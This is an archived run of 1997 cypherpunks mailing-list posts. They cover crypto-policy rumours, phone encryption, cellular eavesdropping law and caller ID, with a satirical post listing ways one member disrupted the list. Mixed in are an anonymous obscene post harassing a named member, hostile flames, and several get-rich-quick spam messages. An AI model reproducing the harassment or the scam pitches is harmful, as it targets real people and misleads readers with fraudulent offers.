"To improve the Justice Department's record for capturing big-time fugitives, Attorney General Janet Reno last month started an interagency fugitive alert service, in conjunction with the United States Information Agency and the Voice of America.  The effort includes a site on the World Wide Web           (http://www.usdoj.gov/criminal/oiafug/fugitives.htm) showing pictures of the most wanted fugitives."

DCF
-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBMt7gLIVO4r4sgSPhAQEPigP+JvOgxDbRT7fVCRmxT9H5uG0DWeiCVUoB
1jmjD4ZsS9KsQlIi9kpkzV5kw/OroqD1pcrxL8Ag+D4h2pkgytpaDFO0zPXrzwfG
NADLN9agz7Lnlo8k/9bMpjbC5dFbCh7ayKA60MW/RqgTtiR/uC+2IXSISzVBeraA
rahH94EBG4k=
=yniF
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mac Norton <mnorton@cavern.uark.edu>
Date: Thu, 16 Jan 1997 19:31:59 -0800 (PST)
To: Declan McCullagh <declan@pathfinder.com>
Subject: Re: Debunking rumors -- Re: ARKANSAS BANS PHONE SCRAMBLERS
In-Reply-To: <v03007802af045fc5cbdd@[168.161.105.191]>
Message-ID: <Pine.SOL.3.92.970116213048.12817A-100000@cavern.uark.edu>
MIME-Version: 1.0
Content-Type: text/plain


Down here in arkansas, we're still wondering who told
you this in the first place?
MacN

On Thu, 16 Jan 1997, Declan McCullagh wrote:

> Time to debunk this rumor.
>
> I just spoke with the Arkansas state police, who told me:
>
> "It wasn't put out by the state police. [If anything] it must be a city
> ordinance from some city. That state police definitely didn't do it."
>
> -Declan
>
>
> >jcr@idiom.com ("John C. Randolph") quotes Charles R. Smith
> >> IMMEDIATE ATTENTION
> >> The Arkansas Police have declared that is is illegal to own, use, or
> >> possess RSU product #11265113, a fully assembled
> >> descrambler/scrambler, in the State of Arkansas.  Tandy Corporation's
> >> legal department is researching this and the product has been removed
> >> from RSU distribution.  DO NOT take order or sell this product until
> >> this situation can be resolved.
> >
> >I called the Arkansas State Police, 501-221-8200, to try to verify this,
> >and they're "going to have somebody call me back."  I'm not holding my
> >breath...
> >
> >If anybody has a definative source on this, I'd love to see it; it's
> >mindboggling.
> >
> >thad
> >-- Thaddeus Beier                     thad@hammerhead.com
> >   Visual Effects Supervisor                408) 287-6770
> >   Hammerhead Productions  http://www.got.net/people/thad
>
>
>
> -------------------------
> The Netly News Network
> http://netlynews.com/
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Thu, 16 Jan 1997 18:43:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: Netscape sig's...
Message-ID: <TCPSMTP.17.1.16.-11.42.18.2780269260.1470502@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


Here's something, that found it's way into my mailbox and might be
of interest...


 In> SOFT> SecureWeb Documents: digitally signed documents -- FREE
 In> Netscape Navigator plug-in

 In> Date: Wed, 15 Jan 1997 19:13:28 -0600
 In> From: info@terisa.com

 In> http://www.terisa.com/

 In> About SecureWeb Documents

 In> By using standard digital ID's (x509.v3 certificates), SecureWeb
 In> Documents can affix a digital signature to an electronic document. The
 In> result is impossible to alter or falsify without detection, unlike a
 In> written signature.


Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE           *         */
/* and PRIVATE ONLINE COMMUNICATIONS!            *   *       */
/*                                             *       *     */
/* E-mail: harka@nycmetro.com                    *   *       */
/*                                                 *         */
/* Finger or E-Mail for PGP public key.          *   *       */
/* Key Size: 2047   /   KeyID: 04174301        *       *     */
/* Fingerprint: FD E4 F8 6D C1 6A 44 F5   http://www.eff.org */
/*              28 9C 40 6E B8 94 78 E8                      */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBMtxBYjltEBIEF0MBAQFFIwf+NBtJ76gj+jhD28q1KHgv1HiTSLcP1xIg
ZCC779HJ29IM+imWFiqgv58HrGRva1lhMl9l0+DbWdS01muSeNAUuht+QlOY+ys8
9MPlsaTg2v0kEAE6+OQwWLs3C4HvlCBqbHIJubRTz+B4I3XP9pkRRc8VTO8INroA
u5C+PF+t3QHWinpnmR/uwrdJWohKG6Ioh9U5MdZWkF+ks84Y3uKGQDIxLsGv5xjZ
LI5u4OH7GjhuBNkuZgSoIm528dSmzPaYQk6sYJaSP2uz2HYnCEdfkE2/2+IRFn9m
AvgQPDUXHslTsF3m0O0/0XwG29X0KemyERnBuYYso2JoI0O/2pBiKg==
=/F/w
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 19 Jan 1997 15:50:56 -0800 (PST)
To: dlv@bwalk.dm.com
Subject: Dr Vulis's crypto experiment (Re: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT)
In-Reply-To: <51Rq1D26w165w@bwalk.dm.com>
Message-ID: <199701162142.VAA06080@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



It's occured to me recently that Dimitri's posts are not being read
correctly, it is not the content which is the point, nor the
superficial lack of crypto relevance.

Dimitri is an intelligent guy, and has a high level of crypto
expertise (he has a PhD on a cryptography topic).  It is my belief
that his posts can only be understood in a "meta" sense -- he is
engaged in a highly complex cryptographic experiment.  People who read
and respond to his individual posts are the unwitting subjects in his
experiments.  His posts and the responses to them are actually the
data-set for a thorough cryptanalysis of mailing list threats.  His
current topic under investigation is Denial of Service (DoS) attacks
on mailing lists.

Denial of service on mailing lists is a complex business, and requires
expert human input to be done properly.

Dimitri has systematically explored these types of posting behaviour:

1. Posting only crypto relevant material.
2. Interspersing crypto relevant posts with hand personalised flame bait.
3. Interspersing crypto relevant posts with bot generated flame bait.
4. Interspersing crypto relevant posts with news stories.
5. Posting only non crypto relevant material.

The alert reader will recall these phases of posting style (currently
we are in sub experiment 5, the other phases have occured over a
protracted period of intensive experimentation, and some newer readers
may have missed earlier phases).

There were other experiments which may or may not have been part of
Dimitri's series of DoS experiments:

6. Subscribing the list to itself (testing list resilience to recursion)

7. Forging posts to carefully selected newsgroups with
"cypherpunks@toad.com" as the sender (this indirectly adds user
"cypherpunks@toad.com" to many direct marketing lists as direct
marketers make use of email addresses scanned from newsgroups).

8. The "UNSCRIVE" and other spelling variations of "unsubscribe" epidemic,
and ensuing instructions and discussion

9. Subscribing the list to other lists

10. Bot generated flame bait posted anonymously (with ascii art)

>From the post I am following up to the reader will observe an oblique
reference to the transition from phase 4 of the experiments to the
current phase, phase 5 (the reader will also note references to experimental
results c and d described below):

Dimitri Vulis <dlv@bwalk.dm.com> writes:
> One memorable "censorship" incident occurred when the lying cocksucker
> John Gilmore (spit) forcibly unsubscribed me from this list because he
> didn't like the contents of my submissions - or did you forget already?
> Look up Declan's disgraceful writeup on Netly News archives.
> 
> At that time most valuable contributors to this list (such as myself)
> resolved not to contribute crypto-relevant content to a censored forum.
  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

More widely read cypherpunks will know that Dimitri has performed
similar experiments in other fora -- his systematic experiments in
numerous USENET newsgroups resulted in the his receiving the
prestigious KOTM ("Kook Of The Month") award.

His main experimental results to date with the cypherpunks mailing
list series of experiments have been:

a) many cypherpunks publically announcing kill filing him

b) numerous cypherpunks suggesting censoring him (a particularly
interesting result considering the libertarian leanings of many on
this list)

c) the outstanding experimental result of being forcibly unsubscribed
from the list, and of being barred from resubscribing by John Gilmore.
(creator of alt.* USENET newsgroup hierarchy, and well know freespeech
advocate)

d) another interesting, incidental experimental result was provided by
Declan McCullagh in his Netly News piece in prematurely, and entirely
unwittingly, publishing some of Dimitri's expermiental data-set.

e) the main experimental result: the list shortly moving to a
moderated form, seemingly at the request of Sandy Sandfort, with
agreement from John Gilmore.

These experimental results are quite significant, when taken in the
context of the anti-censorship, libertarian, pro-freespeech
environment of the cypherpunks mailing list.  Dimitri should be
congratulated on his outstanding work.

I await with interest the last phases of Dimitri's experiment, when
the cypherpunks list becomes a moderated forum.  My suggestions for
interesting experiments during the moderated phase are:

1. Testing the limits of Dale Thorn's anti-censorship sentiments (for
those who don't read Dale, he is subscribed to "cypherpunks-unedited"
in preparation for the moderation).

2. Testing Sandy Sandforts rejection criteria.

3. Testing Sandy Sandforts rejection rate for long crypto relevant
posts interspersed with irrelevant flame bait.

4. Testing Sandy Sandforts rejection rate for posts with flame bait .sigs

I hope Dimitri's selfless efforts in furthering understanding of DoS
attacks on mailing lists is properly acknowledged when he publishes
his findings on completion of his experiments.  I also hope that
Dimitri will document his recommendations for mailing list
configuration and management in light of his experiments.

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 17 Jan 1997 00:12:42 -0800 (PST)
To: Declan McCullagh <declan@well.com>
Subject: Re: FC: Loving v. University of Oklahoma, from The Netly News Network
In-Reply-To: <Pine.GSO.3.95.970116084156.22133A-100000@well.com>
Message-ID: <32DF113E.708A@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Declan McCullagh wrote:
> The Netly News Network
> http://netlynews.com/
> 
>       Loving v. the University of Oklahoma goes to trial in a federal
>    court in Tulsa tomorrow morning. But the incidents that gave rise to
>    the civil action occurred more than 14 months ago when a local
>    anti-pornography group, Oklahomans for Children and Families, got wind
>    of the sprawling alt.sex.* hierarchy on Usenet. The porn watchdog
>    group complained to State Rep. Fred Perry (R-Tulsa) about the alt.sex
>    feeds that were, naturally enough, part of the university's Usenet
>    feed.
> 
>       Anderson told us that his group is training other activists to turn
>    in offending service providers. "There are plums ready to be picked,"
>    he said. "We're encouraging people all over the country to take
>    action."

  I would advise all cryptographers and cryptanalysts to immediately 
remove any brooms they own from their homes.
  Especially those living in Salem.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Thu, 16 Jan 1997 21:44:25 -0800 (PST)
To: Michael Gurski <mgursk1@umbc.edu>
Subject: Re: Kill filing
In-Reply-To: <Pine.SGI.3.95.970116155633.13404A-100000@umbc10.umbc.edu>
Message-ID: <32DF118A.721F@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Michael Gurski wrote:
> On Thu, 16 Jan 1997, Robert Hettinga wrote:
> > At 1:05 pm -0500 1/16/97, Ed Falk wrote:

> > And, in my case, Eudora displays each message in the status window as it's
> > bringing something down from the POP server, and again as it filters.
> > So, Toto, you're not in "Cansas" any more. It's called a "Trash" folder.

> I used to have procmail shove messages from certain folks directly to
> /dev/null, but then wondered a few days ago if I were missing
> anything, so they ended up going to $MAILDIR/.in.garbage.  After
> looking in there today, I'm glad to say that it's back to /dev/null,
> with no regrets. Of course, with the new moderated list, there shouldn't
> be too much work for procmail, except for those folks who I personally
> feel aren't worth reading...

Michael, please tell me and everyone else at cypherpunks just why it
is we should give a shit at all what your personal killfile habits
are, and whether we should give a shit about whether you think anyone
on this list is or isn't worth reading.

You and a thousand other clowns seem to think this is cool to do,
but you're actually pointing back at yourself with this kind of crap.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Thu, 16 Jan 1997 19:56:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Virus
Message-ID: <199701170402.WAA27752@einstein>
MIME-Version: 1.0
Content-Type: text



Hi all,

Check out,

Virus
Bill Buchanan
ISBN 0-515-12011-1
$6.50 paperback

Very interesting book about adaptive technology and one possible 'alternate'
future. May not be technicaly correct but then again, what prediction is.

On a related note (at least future tech predictions), I saw the new book put
out by Wired on this issue (don't remember the exact title) in the science
section of BookStop. It belongs in the sci-fi section. A bigger pile of
wishfull thinking with no realistic view of either technology or society
doesn't come to mind immediately. Is definately not a 'buy it'.


"For a succesful technology, reality must take precedence over public
 relations, for nature will not be fooled."

                                             Richard Feynman


                                                      Jim Choate
                                                      CyberTects
                                                      ravage@ssz.com


ps check out www.srl.org for the Austin show on March 28, 1997.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Thu, 16 Jan 1997 20:26:46 -0800 (PST)
To: kasaty@seanet.com
Subject: Re: soc.culture.belarus
In-Reply-To: <ceNm1D8w165w@bwalk.dm.com>
Message-ID: <199701170421.WAA05288@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dr.Dimitri Vulis KOTM wrote:
> 
> :Can anyone tell me if soc.culture.belarus is still active? I have not been
> able to access this newsgroup for a while now and my service provider hasn't
> answered my question about this. I originally had to make a request to the
> ISP to carry the newsgroup but after that, it was ok.
> I hope it's only coincidental that I lost contact only about one day after I
> placed a posting on the newsgroup.
> Barry J Hilchey, <bhilchey@sympatico.ca>
> PO Box 668, St Marys, Ontario, N4X 1B6, Canada:
> 
> I donn't know exactly what happend to that group,
> but some time ago I had e-mail exchange with one
> of the moderators. He complained that they (5 persons
> or so) are sweating day and night moderating incoming
> postings. It might be, therefore, that this honorable
> job of censorship starved this people to death.   
> 
> Igor Fedchenia
> 

Mr. Kasaty, if you want to try robomoderation for scb (which really
reduces the amount of work that you have to do), you can use my bot.

Moderators of soc.culture.russian.moderated are known as some of 
the laziest moderators on USENET, because about 90% of all posts are
approved automatically by the bot.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "$100,000 BUSINESS OPPORTUNITIE!" <cbear@adgrafix.com>
Date: Thu, 16 Jan 1997 21:53:25 -0800 (PST)
To: cbear@adgrafix.com
Subject: L@@K FOR FEW GOOD PEOPLE,THAT WANA MAKE $10,000 EVERY WEEK!
Message-ID: <199701170449.WAA09159@dogbert.ipa.net>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
PLEASE Note That you're not on mailing list this is one,
Time deal and you will never recive mail from us again!
Thank you!
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


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in this Marketing plan after only 4 weeks.  I'll train you how.  
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money.Please goto URL below if you are interested.

~~~~~~CUT AND PASTE IN YOUR URL~~~~~~~~~~~~~~~~~~~~~~

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~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~   


Regards
Christopher






































































































































































































































































































From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 17 Jan 1997 00:12:50 -0800 (PST)
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: ARKANSAS BANS PHONE SCRAMBLERS
In-Reply-To: <3.0.1.32.19970116185324.0062e970@popd.ix.netcom.com>
Message-ID: <32DF21C6.2E88@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Bill Stewart wrote:
> 
> > The Arkansas Police have declared that is is illegal to own, use, or
> > possess RSU product #11265113, a fully assembled
> > descrambler/scrambler, in the State of Arkansas.
> 
> How soon do you think it'll be before they start busting people
> for Radio Shack Equipment Smuggling? 

  I wonder if, when Radio Shack is forced to go 'underground', their
employees, while standing beside the crack dealers on the street 
corner, will develop their own language, 'Shackonics'.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "THEAUDIN" <thea0594@eurobretagne.fr>
Date: Thu, 16 Jan 1997 13:55:59 -0800 (PST)
To: <cypherpunks@toad.com>
Subject: stop
Message-ID: <199701162154.WAA04765@gaia.eurobretagne.fr>
MIME-Version: 1.0
Content-Type: text/plain


please stop thea0594@eurobretagne.fr
please stop thea0594@eurobretagne.fr
please stop thea0594@eurobretagne.fr
please stop thea0594@eurobretagne.fr
please stop thea0594@eurobretagne.fr
please stop thea0594@eurobretagne.fr
please stop thea0594@eurobretagne.fr
please stop thea0594@eurobretagne.fr
please stop thea0594@eurobretagne.fr
please stop thea0594@eurobretagne.fr





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 20 Jan 1997 01:01:31 -0800 (PST)
To: frantz@netcom.com
Subject: Re: GSM crypto upgrade? (was Re: Newt's phone calls)
In-Reply-To: <v03007808af0842c7858c@[204.31.235.152]>
Message-ID: <199701162341.XAA06364@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Bill Frantz <frantz@netcom.com> writes:
> At 4:39 AM -0800 1/16/97, Adam Back wrote:
> >- PIN for phone's RSA signature keys
> 
> It is not clear you need signatures in the secure phone case.  Eric
> Blossom's 3DES uses straight DH for key exchange with verbal verification
> that both ends are using the same key.  

How does Eric's box display the negotiated key to the user?  (I don't
recall the pair I saw having displays).

> As long as the man in the middle can't imitate a familiar voice,
> this procedure is reasonably secure.

This is the approach taken by PGPfone also.  If the value of the
conversations was high (>$100,000?) passable voice imitation wouldn't
be that hard I suspect.

Also I thought it would be kind of cute if there were some way for
phones to exchange their signature keys `face to face' as well.

> I agree that signatures of some kind are needed to identify the phone to
> the cell company to prevent an all too familiar technique of stealing phone
> service.  But this protection would not be a 3rd party cell phone upgrade.

It's about time something was done about that problem.

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 20 Jan 1997 08:12:11 -0800 (PST)
To: frantz@netcom.com
Subject: Re: GSM crypto upgrade? (was Re: Newt's phone calls)
Message-ID: <199701201612.IAA12435@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Bill Frantz <frantz@netcom.com> writes:
> At 4:39 AM -0800 1/16/97, Adam Back wrote:
> >- PIN for phone's RSA signature keys
> 
> It is not clear you need signatures in the secure phone case.  Eric
> Blossom's 3DES uses straight DH for key exchange with verbal verification
> that both ends are using the same key.  

How does Eric's box display the negotiated key to the user?  (I don't
recall the pair I saw having displays).

> As long as the man in the middle can't imitate a familiar voice,
> this procedure is reasonably secure.

This is the approach taken by PGPfone also.  If the value of the
conversations was high (>$100,000?) passable voice imitation wouldn't
be that hard I suspect.

Also I thought it would be kind of cute if there were some way for
phones to exchange their signature keys `face to face' as well.

> I agree that signatures of some kind are needed to identify the phone to
> the cell company to prevent an all too familiar technique of stealing phone
> service.  But this protection would not be a 3rd party cell phone upgrade.

It's about time something was done about that problem.

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David Lesher / hated by RBOC's in 5 states" <wb8foz@wauug.erols.com>
Date: Thu, 16 Jan 1997 20:44:03 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: Re: Debunking rumors -- Re: ARKANSAS BANS PHONE SCRAMBLERS
In-Reply-To: <v03007802af045fc5cbdd@[168.161.105.191]>
Message-ID: <199701170443.XAA09743@wauug.erols.com>
MIME-Version: 1.0
Content-Type: text/plain


Declan McCullagh sez:
> 
> Time to debunk this rumor.
> 
> I just spoke with the Arkansas state police, who told me:
> 
> "It wasn't put out by the state police. [If anything] it must be a city
> ordinance from some city. That state police definitely didn't do it."


I have past experience with the individual cited in the original
message. I'd rather believe a politician's spin doctor.

-- 
A host is a host from coast to coast.................wb8foz@nrk.com
& no one will talk to a host that's close........[v].(301) 56-LINUX
Unless the host (that isn't close).........................pob 1433
is busy, hung or dead....................................20915-1433




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: darrington@debtfree.com
Date: Thu, 16 Jan 1997 20:51:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: Debt-Freedom!
Message-ID: <199701170451.XAA01535@ezdial.com>
MIME-Version: 1.0
Content-Type: text/plain


Hello,^Morons,

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Reply To: nodebts@homebasebusiness.com
Important: Put "NO DEBTS" in the subject field

Thank you for allowing me to share this with you, It has really changed my life and that of my family!


God Bless,

Dean F. Arrington





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Richard Charles Graves <llurch@networking.stanford.edu>
Date: Thu, 16 Jan 1997 23:56:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Debunking rumors -- Re: ARKANSAS BANS PHONE SCRAMBLERS
Message-ID: <199701170756.XAA29660@Networking.Stanford.EDU>
MIME-Version: 1.0
Content-Type: text/plain


David Lesher / blah blah blah wrote:

>I have past experience with the individual cited in the original
>message. I'd rather believe a politician's spin doctor.

I thought he was a politician's spin doctor.

-rich




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 17 Jan 1997 00:13:05 -0800 (PST)
To: Ryan Russell/SYBASE <Ryan.Russell@sybase.com>
Subject: Re: Privacy Issue (ANI in SF Bay Area)
In-Reply-To: <199701161947.LAA26644@notesgw2.sybase.com>
Message-ID: <32DF3432.11A2@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Ryan Russell/SYBASE wrote:
> 
> Yesterday PacBell turned on ANI on our trunk groups, for
> local area calls.  On their own, mind you, without request
> from us.  If you call anyone here with a display phone,
> it displays your number, even if you have caller-id
> blocking on or you do a *70 (for those who don't know,
> ANI is not caller-id, you can't block your number
> from being displayed with ANI.)
> 
> It also grabs your phone number if you leave a voice mail,
> so even folks without display phones can benefit.

  Why do I get the feeling that they will soon be offering a new
feature (for a 'slight surcharge') that will block this feature,
as well?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 17 Jan 1997 00:13:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Returned cypher-mail:  Host unknown (Name server: softcell: host not found)
In-Reply-To: <199701162230.RAA04447@Alpha.remcan.ca>
Message-ID: <32DF36B3.1E8B@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Mail Delivery Subsystem wrote:
>    ----- The following addresses had delivery problems -----
>    ----- Transcript of session follows -----
> To: info@softcell
> From: "cypherpunks@toad.com" <cypherpunks@toad.com>
> Content-Type: text/plain; charset="us-ascii"
> 
> FUCK YOU SPAMMER

  Does this mean that even the listserver is getting tired of spam?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 17 Jan 1997 00:13:24 -0800 (PST)
To: Jim Choate <ravage@einstein.ssz.com>
Subject: Re: Virus
In-Reply-To: <199701170402.WAA27752@einstein>
Message-ID: <32DF478C.318F@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate wrote:
 
> "For a succesful technology, reality must take precedence over public
>  relations, for nature will not be fooled."
> 
>                                              Richard Feynman

Jim,
 Do you think that this quote should be forwarded to the White House,
or do you think they might have trouble with the concept?

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Gulkis <lordvidarr+@CMU.EDU>
Date: Thu, 16 Jan 1997 23:00:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Airport security [no such thing]
In-Reply-To: <01BC03D2.A3F21CA0@s14-pm05.tnstate.campus.mci.net>
Message-ID: <UmrmAaG00YUs0rdJw0@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain


I always try to have a good time with airport security.  Last time I
flew I had a brand new stainless steel nissan thermos half full of
scotch in my backpack in addition to my laptop, a handful of dental
tools and a bunch of sticks of microcrystaline wax.

The rentacop almost shit all over himself tearing into my bag trying
to find out what the nissan was and i'm pretty sure that he did when
he saw the sticks of wax.  Course I was busy being frisked by another
guard (steel toes, steel shanks) and was really trying hard not to
laugh.

Next time I'm planning on painting some messages in lead paint and
sticking them in a folder so they can read it as it gets scanned.
Nice friendly hello <EG>

A. Gulkis

-------------------------------------------------------------------
Electronic and Time Based media? whats that?
                                http://valhalla.res.cmu.edu/vidarr/
President, Screaming Viking Research Labs
                                Reinventing Perceptions of Reality
pgp key: finger vidarr@valhalla.res.cmu.edu		
-------------------------------------------------------------------




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ATM INFO <atm@getback.hartley.on.ca>
Date: Thu, 16 Jan 1997 23:48:03 -0800 (PST)
Subject: No Subject
Message-ID: <199701170746.CAA27992@mail.pwrnet.com>
MIME-Version: 1.0
Content-Type: text/plain


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*******************************************************************
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (Anonymous)
Date: Fri, 17 Jan 1997 00:15:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: [IMPORTANT] e$
Message-ID: <199701170815.DAA23816@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Warning: if you fuck a Timmy `C' May in the 
ass, a tapeworm might bite your penis.

         /\**/\
        ( o_o  )_) Timmy `C' May
        ,(u  u  ,),
       {}{}{}{}{}{}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Sarah L. Green" <greens@hiwaay.net>
Date: Fri, 17 Jan 1997 04:11:23 -0800 (PST)
To: "Cypherpunks (E-mail)" <cypherpunks@toad.com>
Subject: Re: Newt's phone calls
In-Reply-To: <01BC03E7.BE213FB0@crecy.ai.mit.edu>
Message-ID: <Pine.LNX.3.91.970117061357.21132C-100000@osprey.sga.com>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 16 Jan 1997, Phillip M. Hallam-Baker wrote:
> 
> It was a conference call but over a cellular phone. Martin had hacked his
> Radio Shack Scanner using a well known technique. He had a radio ham
> license.
> 
Phill
	Actually I'd love to see this go to court & have the law itself 
tossed out.  How many years have the airwaves been free?  Now it is 
illegal to listen on the cellular frequencies.

Sarah.

==============================================================================
Sarah L. Green          Hey, I never claimed to be                >>osprey<<
Madison, AL  (USA)        a genius  nor a typist           greens@hiwaay.net 
==============================================================================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Sarah L. Green" <greens@hiwaay.net>
Date: Fri, 17 Jan 1997 04:17:55 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Newt's phone calls
In-Reply-To: <v03007806af036061f9ce@[199.35.223.179]>
Message-ID: <Pine.LNX.3.91.970117062037.21132D-100000@osprey.sga.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 15 Jan 1997, Bill Frantz wrote:

> At 7:07 PM -0800 1/14/97, Eric Murray wrote:

> The 1935 communication act made it illegal to pass on what you had heard
> when listening to certain radio services.  Listening was OK.  Telling
> others wasn't.
> 
	A more recent act made it illegal to monitor celular frequencies, 
	and to make equipement that receives or could easily be 
	modified to receive cellular frequencies.

Sarah.
==============================================================================
Sarah L. Green          Hey, I never claimed to be                >>osprey<<
Madison, AL  (USA)        a genius  nor a typist           greens@hiwaay.net 
==============================================================================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: gtaylor@gil.com.au (Greg Taylor)
Date: Thu, 16 Jan 1997 13:49:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Newt's phone calls
Message-ID: <199701162147.HAA12921@iccu6.ipswich.gil.com.au>
MIME-Version: 1.0
Content-Type: text/plain


After following this thread for some time, I have to question whether
Americans realise how far behind the rest of the world they are in
cellphone technology.

Most of the world has been using GSM digital technology for some years
now, with automatic international roaming, unless you travel to the USA.
No one in their right mind uses an analogue mobile phone any more if they 
are concerned about eavesdropping.  The Newt incident simply could not 
happen with GSM.

Of course in most countries the government controls the federal police, 
not the other way round.  

Greg
Brisbane Australia





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "ALLVIP" <vip@allvip.com>
Date: Fri, 17 Jan 1997 05:20:59 -0800 (PST)
To: "YOUR Exclusive Ad "ALONE" to 2500 - $14.95" <vip@allvip.com>
Subject: <Your Exclusive Ad "ALONE" to 2500 - $14.95>
Message-ID: <199701171304.IAA00236@fp.allvip.com>
MIME-Version: 1.0
Content-Type: text/plain


  *To Remove:  Please hit reply & type "remove" in the subject.
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 <*> N e w   Y e a r   S p e c i a l - 3  D a y s  O N L Y ! ! ! <*>

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Order distribution for 3 lists of 2,500 Business Opportunity Seekers
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              For   ONLY   $44.85       (reg. $239.00)

     Email:  special@allvip.com         For  Easy Submission Form
 By emailing this address, info will <automatically> be sent to you.
                        Please Do NOT Hit Reply!  

This Exclusive New Year Offer is available for 3 days ONLY.  Our
space is filling VERY QUICKLY!  Respond NOW and your space will be
reserved immediately - No Faxes or Postal Mailing Necessary! 

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 February On  a  F i r s t - r e s p o n s e,  F i r s t - r u n  b a s i s.
=====================================
To REMOVE        Email:   remove@allvip.com    
PLEASE be certain to send your removal request
 << FROM the email address >>  you wish to be removed.
     *~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*
